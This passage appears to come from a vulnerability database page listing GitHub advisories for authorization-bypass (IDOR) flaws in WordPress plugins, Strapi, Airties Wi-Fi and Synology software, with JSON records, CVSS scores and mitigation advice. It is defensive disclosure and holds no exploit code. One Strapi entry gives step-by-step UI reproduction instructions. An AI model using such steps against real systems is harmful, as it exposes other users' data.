      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6J68-445J-4CR6

Vulnerability from github – Published: 2023-07-06 21:14 – Updated: 2026-04-08 18:32
VLAI
Details

The WCFM Membership – WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 2.10.7. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for unauthenticated attackers to change user passwords and potentially take over administrator accounts.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-2276"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-05-20T04:15:09Z",
    "severity": "CRITICAL"
  },
  "details": "The WCFM Membership \u2013 WooCommerce Memberships for Multivendor Marketplace plugin for WordPress is vulnerable to Insecure Direct Object References in versions up to, and including, 2.10.7. This is due to the plugin providing user-controlled access to objects, letting a user bypass authorization and access system resources. This makes it possible for unauthenticated attackers to change user passwords and potentially take over administrator accounts.",
  "id": "GHSA-6j68-445j-4cr6",
  "modified": "2026-04-08T18:32:05Z",
  "published": "2023-07-06T21:14:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-2276"
    },
    {
      "type": "WEB",
      "url": "https://lana.codes/lanavdb/3a841453-d083-4f97-a7f1-b398c7304284"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/wc-multivendor-membership/tags/2.10.7/controllers/wcfmvm-controller-memberships-registration.php#L124"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/2907455"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/42222c64-6492-4774-b5bc-8e62a1a328cf?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6J89-FRXC-Q26M

Vulnerability from github – Published: 2024-06-12 19:38 – Updated: 2024-06-12 19:38
VLAI
Summary
@strapi/plugin-content-manager leaks data via relations via the Admin Panel
Details

Summary

  1. If a super admin creates a collection where an item in the collection has an association to another collection, a user with the Author Role can see the list of associated items they did not create. They should only see their own items that they created, not all items ever created.

Details

At the top level every collection shows blank items for an Author if they did not create the item. This is ideal and works great. However if you associate one private collection to another private collection and an Author creates a new item. The pull down should not show the admins list of previously created items. It should be blank unitl they add their own items.

PoC

  1. Sign in as Admin. Navigate to content creation.
  2. Select a collection and verify you have items you created there. And that they have associations to other protected collections.
  3. Verify role permissions for your collections are set to CRUD if user created.
  4. Log out and sign in as a unrelated Author.
  5. Navigate to content management and verify you see collections built by admin but empty for you (as expected)
  6. Create a new item as an Author and see the card appear with attributes to fill out.
  7. Use the form pull down for the associations.
  8. Notice that protected collection items from Admin appear in drop down. These should be hidden

Impact

Security vulnerability where authors have access to protected data created by admin. This could be passwords emails or any other item created for the admin's collection.

See images below for more context

Permissions set image

Good at top level no items seen image

Drop down in Author login can see Admin data image

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/plugin-content-manager"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.19.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29181"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-12T19:38:01Z",
    "nvd_published_at": "2024-06-12T15:15:50Z",
    "severity": "LOW"
  },
  "details": "### Summary\n1. If a super admin creates a collection where an item in the collection has an association to another collection, a user with the Author Role can see the list of associated items they did not create. They should only see their own items that they created, not all items ever created.\n\n### Details\nAt the top level every collection shows blank items for an Author if they did not create the item. This is ideal and works great. However if you associate one private collection to another private collection and an Author creates a new item. The pull down should not show the admins list of previously created items. It should be blank unitl they add their own items.\n\n### PoC\n1. Sign in as Admin. Navigate to content creation.\n2. Select a collection and verify you have items you created there. And that they have associations to other protected collections.\n3. Verify role permissions for your collections are set to CRUD if user created.\n4. Log out and sign in as a unrelated Author.\n5. Navigate to content management and verify you see collections built by admin but empty for you (as expected)\n6. Create a new item as an Author and see the card appear with attributes to fill out.\n7. Use the form pull down for the associations.\n8. Notice that protected collection items from Admin appear in drop down. These should be hidden\n\n### Impact\nSecurity vulnerability where authors have access to protected data created by admin. This could be passwords emails or any other item created for the admin\u0027s collection. \n\nSee images below for more context\n\nPermissions set\n![image](https://user-images.githubusercontent.com/364910/265132222-66e85726-5e01-4ad3-901a-809270a7f11b.png)\n\nGood at top level no items seen\n![image](https://user-images.githubusercontent.com/364910/265132292-d63fa6df-f32d-48a3-80d0-48a651c570a8.png)\n\nDrop down in Author login can see Admin data\n![image](https://user-images.githubusercontent.com/364910/265132393-8105bae2-b45c-4327-b1c6-da093557e64f.png)\n",
  "id": "GHSA-6j89-frxc-q26m",
  "modified": "2024-06-12T19:38:02Z",
  "published": "2024-06-12T19:38:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/security/advisories/GHSA-6j89-frxc-q26m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29181"
    },
    {
      "type": "WEB",
      "url": "https://github.com/strapi/strapi/commit/e1dfd4d9f1cab25cf6da3614c1975e4e508e01c6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/strapi/strapi"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@strapi/plugin-content-manager leaks data via relations via the Admin Panel"
}

GHSA-6JHQ-F3CP-JGMP

Vulnerability from github – Published: 2025-04-16 00:31 – Updated: 2025-04-16 00:31
VLAI
Details

An attacker can export other users' plant information.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-24850"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-15T22:15:16Z",
    "severity": "MODERATE"
  },
  "details": "An attacker can export other users\u0027 plant information.",
  "id": "GHSA-6jhq-f3cp-jgmp",
  "modified": "2025-04-16T00:31:35Z",
  "published": "2025-04-16T00:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24850"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-25-105-04"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-6JM3-CV8M-6FX9

Vulnerability from github – Published: 2025-07-02 06:30 – Updated: 2025-07-24 21:30
VLAI
Details

The Download Manager and Payment Form WordPress Plugin – WP SmartPay plugin for WordPress is vulnerable to privilege escalation via account takeover in versions 1.1.0 to 2.7.13. This is due to the plugin not properly validating a user's identity prior to updating their email through the update() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary user's email addresses, including administrators, and leverage that to reset the user's password and gain access to their account.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-3848"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-02T04:15:52Z",
    "severity": "HIGH"
  },
  "details": "The Download Manager and Payment Form WordPress Plugin \u2013 WP SmartPay plugin for WordPress is vulnerable to privilege escalation via account takeover in versions 1.1.0 to 2.7.13. This is due to the plugin not properly validating a user\u0027s identity prior to updating their email through the update() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to change arbitrary user\u0027s email addresses, including administrators, and leverage that to reset the user\u0027s password and gain access to their account.",
  "id": "GHSA-6jm3-cv8m-6fx9",
  "modified": "2025-07-24T21:30:34Z",
  "published": "2025-07-02T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3848"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/smartpay/tags/2.7.13/app/Http/Controllers/Rest/CustomerController.php#L51"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c197e26f-745b-481a-a7b5-79d1211c02ea?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6M65-X5HX-QXVC

Vulnerability from github – Published: 2022-09-16 00:00 – Updated: 2022-09-21 00:00
VLAI
Details

An issue was discovered in Airties Smart Wi-Fi before 2020-08-04. It allows attackers to change the main/guest SSID and the PSK to arbitrary values, and map the LAN, because of Insecure Direct Object Reference.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-38789"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-15T12:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered in Airties Smart Wi-Fi before 2020-08-04. It allows attackers to change the main/guest SSID and the PSK to arbitrary values, and map the LAN, because of Insecure Direct Object Reference.",
  "id": "GHSA-6m65-x5hx-qxvc",
  "modified": "2022-09-21T00:00:46Z",
  "published": "2022-09-16T00:00:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-38789"
    },
    {
      "type": "WEB",
      "url": "https://airties.com/airties-information-security-policy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ProxyStaffy/Airties-CVE-2022-38789/blob/main/Description"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6MPJ-CP6H-6C54

Vulnerability from github – Published: 2026-06-26 15:32 – Updated: 2026-06-26 15:32
VLAI
Details

Subscriber Insecure Direct Object References (IDOR) in SupportCandy <= 3.4.6 versions.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-54826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-26T15:16:40Z",
    "severity": "HIGH"
  },
  "details": "Subscriber Insecure Direct Object References (IDOR) in SupportCandy \u003c= 3.4.6 versions.",
  "id": "GHSA-6mpj-cp6h-6c54",
  "modified": "2026-06-26T15:32:15Z",
  "published": "2026-06-26T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54826"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/supportcandy/vulnerability/wordpress-supportcandy-plugin-3-4-6-insecure-direct-object-references-idor-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-6P5P-H4HF-RF37

Vulnerability from github – Published: 2024-12-18 06:30 – Updated: 2024-12-18 06:30
VLAI
Details

Authorization bypass through user-controlled key vulnerability in streaming service in Synology Media Server before 1.4-2680, 2.0.5-3152 and 2.2.0-3325 allows remote attackers to read specific files via unspecified vectors.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-4464"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-12-18T06:15:23Z",
    "severity": "HIGH"
  },
  "details": "Authorization bypass through user-controlled key vulnerability in streaming service in Synology Media Server before 1.4-2680, 2.0.5-3152 and 2.2.0-3325 allows remote attackers to read specific files via unspecified vectors.",
  "id": "GHSA-6p5p-h4hf-rf37",
  "modified": "2024-12-18T06:30:49Z",
  "published": "2024-12-18T06:30:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-4464"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/security/advisory/Synology_SA_24_28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation
Architecture and Design

For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.

Mitigation
Architecture and Design Implementation

Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.

Mitigation
Architecture and Design

Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.

No CAPEC attack patterns related to this CWE.